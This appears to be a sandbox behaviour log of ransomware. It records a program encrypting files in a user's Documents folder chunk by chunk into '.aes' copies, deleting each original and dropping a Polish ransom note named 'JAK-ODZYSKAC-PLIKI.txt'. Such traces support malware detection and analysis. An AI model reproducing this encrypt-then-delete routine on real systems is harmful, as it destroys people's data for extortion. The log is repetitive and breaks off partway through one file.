File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 1868 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 2145 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0b75c6dd-d172-492e-b7be-2c05de30e808, type = REG_SZ True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\#$# JAK-ODZYSKAC-PLIKI.txt, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_type True 2
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\#$# JAK-ODZYSKAC-PLIKI.txt, size = 2604 True 1
Fn
Data
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 3079 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 3361 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\568WxqKDq_FIMwoN.pdf True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 3722 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 4001 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\8m1FCp.ots True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 1569 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 1857 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\p2QHvHrC07x 6M.odt True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 1
Fn
Data
